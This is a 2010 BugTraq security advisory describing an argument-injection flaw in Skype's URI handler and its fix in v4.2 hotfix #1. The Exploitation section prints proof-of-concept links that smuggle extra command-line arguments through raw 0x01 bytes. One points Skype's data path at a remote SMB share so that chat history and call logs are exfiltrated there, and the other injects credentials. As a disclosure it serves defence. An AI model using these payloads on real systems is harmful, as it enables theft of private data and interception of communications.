BugTraq
Skype URI Handler Input Validation Mar 10 2010 10:23PM
Paul Craig (paul craig security-assessment com)


( , ) (,

. `.' ) ('. ',

). , ('. ( ) (

(_,) .`), ) _ _,

/ _____/ / _ \ ____ ____ _____

\____ \==/ /_\ \ _/ ___\/ _ \ / / \/ | \\ \__( <_> ) Y Y /______ /\___|__ / \___ >____/|__|_| /

\/ \/.-. \/ \/:wq

(x.0)

'=.|w|.='

_='`"``=.

presents..

Skype URI Handler Input Validation

Versions affected: All versions prior to 4.2.0.1.55 (v4.2 hotfix #1)

+-----------+

|Description|

+-----------+

The Windows Skype client implements two URI handlers, Skype: and Skype-Plugin.

Both handlers allow for easy browser integration and are supported by all

modern browsers. When a Skype link is clicked, the Skype.exe process is

spawned with the "/URI:%1" command argument, followed by the user specified

phone number or contact name. For example, clicking the link:

Skype:PaulCraig will spawn the process Skype.exe â??/URI:Skype:PaulCraigâ??

Due to a flaw in the current user input validation performed by Skype, it is

possible to append additional command line arguments which are subsequently

processed during the launch of Skype.exe.

In 2006 colleague Brett Moore, discovered a similar vulnerability in Skype

which led to certain security restrictions being enforced when using the

Skype: URI handler. Brettâ??s exploit at the time involved including additional

command line arguments to the Skype.exe process which would send a file to a

remote user when a Skype link was clicked.

Changes were made to Skype to remove available command line arguments when

the /URI argument is present, and to resolve the discovered injection vulnerability.

Although many of the useful arguments have been disallowed, Security-Assessment.com

found that the /Datapath argument can be included and directed to a remote SMB

share directly through a specially crafted Skype URI.

The Datapath argument specifies the location of the Skype configuration files and

security policy. Specifying a Datapath argument will override any local security

policy defined in the Windows registry.

A remote user is capable of crafting a link that when clicked, will spawn

Skype.exe on a client using a Datapath location which is present on a remote

SMB share. The Skype client will load any configuration or security policy

present, and save the users Skype account information to the remote share.

This allows a remote user to control the Skype configuration and security

policy of the local client instance of Skype. Settings such as a remote

proxy can be defined, which could be used to Man in The Middle Skype

communications.

Security-Assessment.com also found that the contents of another userâ??s Datapath

contained a wealth of private information and call history associated with the

user.

+------------+

|Exploitation|

+------------+

Exploitation occurs when the victim clicks a malformed Skype link in

Internet Explorer (6,7 or 8) or Chrome.

The exploit originates from a failure to sanitise raw binary content correctly

and the ability of ShellExecute() to permit URIs which contain raw binary values.

Security-Assessment.com found that the Skype: URI handler permits the double quote

and forward slash (â?? and /) characters within a Skype URI, but does not permit

any whitespace characters (such as space, %20, +) to be included. This essentially

protects Skype from a user inserting additional command line arguments directly

within a Skype: link, as a command line argument separator character (whitespace)

cannot be included.

However, the use of a raw binary byte is permitted by Skype and the byte is

Subsequently treated as a whitespace value when parsing Skype.exe command line

arguments. This provides a whitespace character, without being a traditional

whitespace. This method of whitespace character injection can be used to include

additional command line arguments to the Skype.exe process.

The example below illustrates this.

<a href=skype:A"0x01/secondary0x01/datapath:"\\remotehost\share\exploit>Cli
ck Me</a>

Where 0x01 represents the RAW binary byte value 0x01. (not the string 0x01!)

This URL will result in the Skype configuration being retrieved from the remote

host â??remotehostâ??. Once a user has authenticated using Skype, the Skype client

will download their chat history and call logs to the remote share.

It is important to note that the users authentication details (if saved) are

saved encrypted using the Skype protected storage key.

Other arguments such as /username and /password can also be included using the same

method of whitespace injection. This is illustrated below.

<a href=skype:A"0x01/secondary0x01/username:"test�0x01/password:�test>C
lick Me</a>

The bytes 0x01-0x07 were found to function as a replacement for a whitespace character.

+--------+

|Solution|

+--------+

Skype have created a fix for this vulnerability which has been included as part

of Skype v4.2 hotfix #1.

Security-Assessment.com recommends all users of Skype upgrade to the latest

version as soon as possible. For more information on the new release of Skype

please refer to the release notes:

http://share.skype.com/sites/garage/2010/03/10/ReleaseNotes_4.2.0.155.pd
f

+------+

|Credit|

+------+

Discovered and advised to Skype February 2010 by Paul Craig of Security-Assessment.com.

Contact: paul.craig</at\>security-assessment.com

For a PDF version of this advisory please refer to our website:

http://security-assessment.com/files/advisories/Skype_URI_Handling_Vulne
rability.pdf

+---------+

|Greetings|

+---------+

Big shouts to all past and present Security-Assessment.com crew

Including, but not limited to : krusher, eon, headhntr, antic0de,

ddz, vt, nick "VD", tmasky, sham, Metlstorm, fosm.

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus